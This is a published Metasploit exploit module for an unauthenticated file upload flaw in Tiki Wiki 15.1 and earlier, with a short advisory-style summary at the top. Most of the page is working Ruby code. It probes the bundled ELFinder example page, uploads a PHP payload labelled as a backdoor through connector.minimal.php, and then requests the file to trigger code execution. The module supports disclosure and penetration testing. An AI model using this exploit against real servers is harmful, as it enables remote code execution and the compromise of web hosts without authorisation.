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Tiki Wiki 15.1 Unauthenticated File Upload

Tiki Wiki 15.1 Unauthenticated File Upload
Posted Jul 12, 2016
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits a file upload vulnerability in Tiki Wiki versions 15.1 and below which could be abused to allow unauthenticated users to execute arbitrary code under the context of the web server user. The issue comes with one of the 3rd party components. Name of that components is ELFinder -version 2.0-. This components comes with default example page which demonstrates file operations such as upload, remove, rename, create directory etc. Default configuration does not force validations such as file extension, content-type etc. Thus, unauthenticated user can upload PHP file. The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.

tags | exploit, web, arbitrary, php, file upload
systems | linux, debian
MD5 | 75ff5f78056283806bf48c4b08b4edfc

Tiki Wiki 15.1 Unauthenticated File Upload

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Tiki Wiki Unauthenticated File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability in Tiki Wiki <= 15.1
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the web server user.

The issue comes with one of the 3rd party components. Name of that components is
ELFinder -version 2.0-. This components comes with default example page which
demonstrates file operations such as upload, remove, rename, create directory etc.
Default configuration does not force validations such as file extension, content-type etc.
Thus, unauthenticated user can upload PHP file.

The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.
},
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ],
[ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true
},
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 11 2016'
))

register_options(
[
OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"])
], self.class)
end

def check
url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)

if res && res.code == 200
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
filename = rand_text_alpha(8 + rand(4)) + '.php'
register_file_for_cleanup(filename)

data = Rex::MIME::Message.new
data.add_part('upload', nil, nil, 'form-data; name="cmd"')
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"")

print_status("Uploading backdoor file: #{filename}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})

if res && res.code == 200
print_good("Backdoor successfully created.")
else
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
end

print_status("Trigging the exploit...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename)
}, 5)
end
end
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